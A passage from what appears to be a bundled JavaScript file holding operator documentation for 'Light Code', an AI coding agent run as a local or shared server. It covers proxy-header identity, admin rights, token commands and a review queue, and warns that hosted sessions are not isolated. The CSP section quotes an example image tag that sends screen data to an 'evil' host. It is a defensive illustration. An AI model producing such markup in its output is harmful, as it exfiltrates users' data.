`X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
24553
+ var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Requirements\r\n\r\n**Node 17 or newer.** Nothing here needs a current runtime: the newest API Light Code itself uses\r\nis `structuredClone`, which arrived in Node 17.0. The floor is 17 rather than lower only because\r\nof that.\r\n\r\nOne dependency \u2014 the MCP SDK \u2014 is written against Node 18 and expects `fetch`, the stream types\r\nand `Blob` on `globalThis`. On Node 17 those all exist but are not global, so the CLI supplies\r\nthem from Node\'s own modules and from undici before anything else loads, and says so in the\r\nstartup banner when it has done it. On Node 18 and above it does nothing.\r\n\r\nNode 20 or newer is still what the repository is developed against.\r\n\r\n## Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1b-i. Being launched by another application\r\n\r\nLight Code is often started *by* something else \u2014 a Streamlit app, a wrapper script, a container\r\nentrypoint \u2014 which already holds the credentials and already has a Python environment set up. Two\r\nthings make that work without duplicating either.\r\n\r\n### The API key can come from the environment\r\n\r\nPut `env:API_TOKEN` in the API key field (or in `auth.apiKeyRef` in the config file) and the key is\r\nread from that environment variable instead of being stored:\r\n\r\n```jsonc\r\n{\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Internal gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal.example/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "env:API_TOKEN" }\r\n }\r\n ],\r\n "activeProfileId": "gateway"\r\n}\r\n```\r\n\r\nNothing is written to the keychain, and the variable is read fresh on every request. From Python:\r\n\r\n```python\r\nimport os, subprocess\r\nos.environ["API_TOKEN"] = my_internal_lib.get_apigee_token()\r\nsubprocess.Popen(["npx", "@chosengeneration/light-code"], env=os.environ)\r\n```\r\n\r\n**It must be exported before Light Code starts.** A process cannot see a variable its parent set\r\nafterwards, so a token exported later \u2014 or set only in the parent\'s own shell \u2014 is invisible. If\r\nthe panel shows the key as missing, that is what it is telling you: the variable is not set *in\r\nthis process*. The message names the variable.\r\n\r\n### A token that expires needs a command, not a variable\r\n\r\nThe catch with the above is that **a parent cannot change a running child\'s environment**. An\r\nApigee token is typically good for an hour; a session that outlives it starts failing every request\r\nwith no way back except a restart.\r\n\r\nSo a profile can fetch its own token by running a command \u2014 whatever the parent already uses:\r\n\r\n```jsonc\r\n{\r\n "auth": {\r\n "type": "tokenCommand",\r\n "tokenCommand": {\r\n "command": ["python", "-c", "import my_internal_lib; print(my_internal_lib.get_apigee_token())"],\r\n "fallbackExpirySeconds": 3600,\r\n "refreshSkewSeconds": 60\r\n }\r\n }\r\n}\r\n```\r\n\r\nThe credential logic stays in the one library that owns it, and Light Code never learns how the\r\ngateway\'s auth works. It refreshes proactively before expiry, shares one fetch across concurrent\r\nrequests, and checks the remaining lifetime before opening a stream so a token cannot expire\r\nmid-response.\r\n\r\nIf the command prints JSON instead of a bare token, name the fields:\r\n\r\n```jsonc\r\n{ "tokenPath": "access_token", "expiresInPath": "expires_in" }\r\n```\r\n\r\nNotes worth having in advance:\r\n\r\n- **`command` is argv, never a shell string.** It is spawned directly, so nothing is parsed by a\r\n shell \u2014 no pipes, no redirection, and a path with a space is one argument. Write a script if you\r\n need shell logic; that is a better place for it anyway.\r\n- **Print only the token.** Output containing whitespace is refused rather than sent as a bearer\r\n token, because a warning line prepended to the token produces a 401 that looks like a bad\r\n credential.\r\n- **It runs a program you name**, so it is exactly as powerful as the account Light Code runs\r\n under. It is configured in the config file rather than in the panel, and on a shared server it\r\n has no business in a personal profile.\r\n\r\n### Python without uv or a virtualenv\r\n\r\nIf the environment that launched Light Code already has the libraries your tools need \u2014 a Streamlit\r\napp\'s own interpreter, a conda environment, a container image \u2014 point it at that interpreter and it\r\nwill use it as it is:\r\n\r\n```jsonc\r\n{ "python": { "dynamicTools": "on", "interpreterPath": "/usr/bin/python3" } }\r\n```\r\n\r\nLeave `interpreterPath` unset and it falls back to `python3`, then `python`, from `PATH` \u2014 but only\r\nwhen `uv` is absent. uv is still preferred when it is available, because then Light Code owns the\r\nenvironment and can manage it.\r\n\r\n**In this mode Light Code does not install or remove packages.** That environment belongs to\r\nwhatever started it, and `pip install` into it could break the application serving your users. A\r\ntool whose imports are already satisfied works; one declaring a dependency that is not there is\r\nrefused at creation, naming the package, so you install it the way you install everything else\r\nthere. The Python tab says which mode is in use and why.\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- 